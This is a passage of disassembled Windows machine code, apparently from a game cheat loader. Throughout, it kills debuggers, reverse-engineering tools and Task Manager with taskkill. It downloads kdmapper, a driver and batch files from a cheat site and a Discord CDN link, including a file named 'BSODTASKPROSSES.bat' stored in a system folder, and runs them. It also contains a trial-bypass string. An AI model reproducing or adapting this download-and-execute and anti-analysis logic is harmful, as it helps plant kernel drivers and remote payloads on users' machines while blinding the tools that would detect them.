call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xb4b0]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xb490]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xb470]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xb450]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xb430]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xb410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb490]
call fcn.14005d8d0
mov qword [rsp + 0x1b70], rax
lea rcx, [rsp + 0xb4b0]
call fcn.14005d8d0
mov qword [rsp + 0x1b78], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1b70]
mov rdx, qword [rsp + 0x1b78]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb450]
call fcn.14005d8d0
mov qword [rsp + 0x1b80], rax
lea rcx, [rsp + 0xb470]
call fcn.14005d8d0
mov qword [rsp + 0x1b88], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1b80]
mov rdx, qword [rsp + 0x1b88]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xb410]
call fcn.14005d8d0
mov qword [rsp + 0x1b90], rax
lea rcx, [rsp + 0xb430]
call fcn.14005d8d0
mov qword [rsp + 0x1b98], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1b90]
mov rdx, qword [rsp + 0x1b98]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xb3f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xb3d0]
call fcn.14005d9d0
lea rcx, [rsp + 0xb3d0]
call fcn.14005d8d0
mov qword [rsp + 0x1ba0], rax
lea rcx, [rsp + 0xb3f0]
call fcn.14005d8d0
mov qword [rsp + 0x1ba8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1ba0]
mov rdx, qword [rsp + 0x1ba8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0xb3d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb3f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb410]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb430]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb450]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb470]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb490]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb4b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb4d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb4f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb510]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb530]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb550]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb570]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb590]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb5b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb5d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb5f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb610]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb630]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb650]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb670]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb690]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb6b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb6d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb6f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb710]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb730]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb750]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb770]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb790]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb7b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb7d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb7f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb810]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb830]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb850]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb870]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb890]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb8b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb8d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xddd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb910]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb930]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb950]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb970]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb990]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb9b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb9d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xb9f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xba10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xba30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xba50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xba70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xba90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbab0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbad0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbaf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa350]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbb10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbb30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbb50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbb70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbb90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbbb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbbd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbbf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbc10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbc30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbc50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbc70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbc90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbcb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbcd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbcf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbd10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbd30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbd50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbd70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbd90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbdb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbdd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbdf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbe10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbe30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbe50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbe70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbe90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbeb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbed0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbef0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbf10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbf30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbf50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbf70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbf90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbfb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbfd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xbff0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc010]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc030]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc050]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc070]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc090]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc0b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc0d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc0f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc110]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc130]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc150]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc170]
call fcn.14005d8e0
call fcn.1400f6410
mov r8b, 1
mov edx, 0xa
lea rcx, str.__INFINITE_TRIAL__TIME_BYPASS
call fcn.14006be90
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce6c]
lea rcx, [rsp + 0x1bb0]
call fcn.14005eef0
lea rdx, [rsp + 0x1bb0]
lea rcx, str.INFINITE_TRIAL
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a6ec6
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xce10]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcdf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcdf0]
call fcn.14005d8d0
mov qword [rsp + 0x1bb8], rax
lea rcx, [rsp + 0xce10]
call fcn.14005d8d0
mov qword [rsp + 0x1bc0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1bb8]
mov rdx, qword [rsp + 0x1bc0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
